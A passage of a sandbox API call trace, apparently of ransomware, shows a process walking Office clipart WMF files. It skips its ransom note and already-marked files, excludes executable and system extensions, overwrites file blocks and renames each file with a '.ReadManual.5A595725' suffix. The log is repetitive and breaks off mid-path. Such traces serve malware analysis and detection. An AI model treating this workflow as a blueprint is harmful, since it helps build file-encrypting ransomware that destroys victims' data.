ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0265.355] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0090777.WMF" | out: lpString1="J0090777.WMF") returned="J0090777.WMF" [0265.355] lstrcmpiW (lpString1="J0090777.WMF", lpString2="RecoveryManual.html") returned -1 [0265.355] StrStrIW (lpFirst="J0090777.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.355] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.355] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.355] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" [0265.355] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.ReadManual.5A595725" [0265.355] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.ReadManual.5A595725") returned 87 [0265.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38602414823) returned 1 [0265.355] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 0x20 [0265.356] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.356] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3332) returned 1 [0265.356] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd04, lpName=0x0) returned 0x184 [0265.356] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.356] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.356] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.358] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.358] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd04) returned 0x2f0000 [0265.358] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.358] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38602721631) returned 1 [0265.358] CloseHandle (hObject=0x184) returned 1 [0265.359] SetSecurityInfo () returned 0x57 [0265.359] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.359] CloseHandle (hObject=0x194) returned 1 [0265.359] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0265.359] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0090779.WMF" | out: lpString1="J0090779.WMF") returned="J0090779.WMF" [0265.359] lstrcmpiW (lpString1="J0090779.WMF", lpString2="RecoveryManual.html") returned -1 [0265.359] StrStrIW (lpFirst="J0090779.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.359] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.359] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.359] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" [0265.359] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.ReadManual.5A595725" [0265.359] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.ReadManual.5A595725") returned 87 [0265.359] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38602817151) returned 1 [0265.359] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20 [0265.360] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.360] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1456) returned 1 [0265.360] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b0, lpName=0x0) returned 0x184 [0265.360] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.361] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.361] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.363] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.363] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b0) returned 0x2f0000 [0265.363] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.363] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38603172160) returned 1 [0265.363] CloseHandle (hObject=0x184) returned 1 [0265.363] SetSecurityInfo () returned 0x57 [0265.363] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.363] CloseHandle (hObject=0x194) returned 1 [0265.363] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0265.363] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0090781.WMF" | out: lpString1="J0090781.WMF") returned="J0090781.WMF" [0265.363] lstrcmpiW (lpString1="J0090781.WMF", lpString2="RecoveryManual.html") returned -1 [0265.363] StrStrIW (lpFirst="J0090781.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.363] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.363] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.363] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.363] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.364] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.364] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" [0265.364] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.ReadManual.5A595725" [0265.364] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.ReadManual.5A595725") returned 87 [0265.364] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38603267509) returned 1 [0265.364] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20 [0265.364] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.364] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5314) returned 1 [0265.364] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14c2, lpName=0x0) returned 0x184 [0265.364] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.365] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.365] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.367] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.367] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14c2) returned 0x2f0000 [0265.367] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.367] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38603591651) returned 1 [0265.367] CloseHandle (hObject=0x184) returned 1 [0265.367] SetSecurityInfo () returned 0x57 [0265.367] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.367] CloseHandle (hObject=0x194) returned 1 [0265.367] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0265.368] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0090783.WMF" | out: lpString1="J0090783.WMF") returned="J0090783.WMF" [0265.368] lstrcmpiW (lpString1="J0090783.WMF", lpString2="RecoveryManual.html") returned -1 [0265.368] StrStrIW (lpFirst="J0090783.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.368] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.368] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.368] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" [0265.368] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.ReadManual.5A595725" [0265.368] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.ReadManual.5A595725") returned 87 [0265.368] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38603688994) returned 1 [0265.368] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20 [0265.368] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.369] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6934) returned 1 [0265.369] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b16, lpName=0x0) returned 0x184 [0265.369] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.369] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.369] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.371] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.371] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b16) returned 0x2f0000 [0265.371] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.371] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38604005403) returned 1 [0265.371] CloseHandle (hObject=0x184) returned 1 [0265.371] SetSecurityInfo () returned 0x57 [0265.372] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.372] CloseHandle (hObject=0x194) returned 1 [0265.372] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0265.372] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0093905.WMF" | out: lpString1="J0093905.WMF") returned="J0093905.WMF" [0265.372] lstrcmpiW (lpString1="J0093905.WMF", lpString2="RecoveryManual.html") returned -1 [0265.372] StrStrIW (lpFirst="J0093905.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.372] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.372] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.372] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" [0265.372] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.ReadManual.5A595725" [0265.372] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.ReadManual.5A595725") returned 87 [0265.372] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38604103045) returned 1 [0265.372] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20 [0265.373] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.373] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42050) returned 1 [0265.373] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa442, lpName=0x0) returned 0x184 [0265.373] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.374] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.374] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.376] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.376] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa442) returned 0x2f0000 [0265.377] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.377] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38604829048) returned 1 [0265.380] CloseHandle (hObject=0x184) returned 1 [0265.380] SetSecurityInfo () returned 0x57 [0265.380] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.380] CloseHandle (hObject=0x194) returned 1 [0265.380] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0265.380] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0098497.WMF" | out: lpString1="J0098497.WMF") returned="J0098497.WMF" [0265.380] lstrcmpiW (lpString1="J0098497.WMF", lpString2="RecoveryManual.html") returned -1 [0265.380] StrStrIW (lpFirst="J0098497.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.380] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.380] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.380] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" | out: lpString1="\\\\?\\c:\\Program 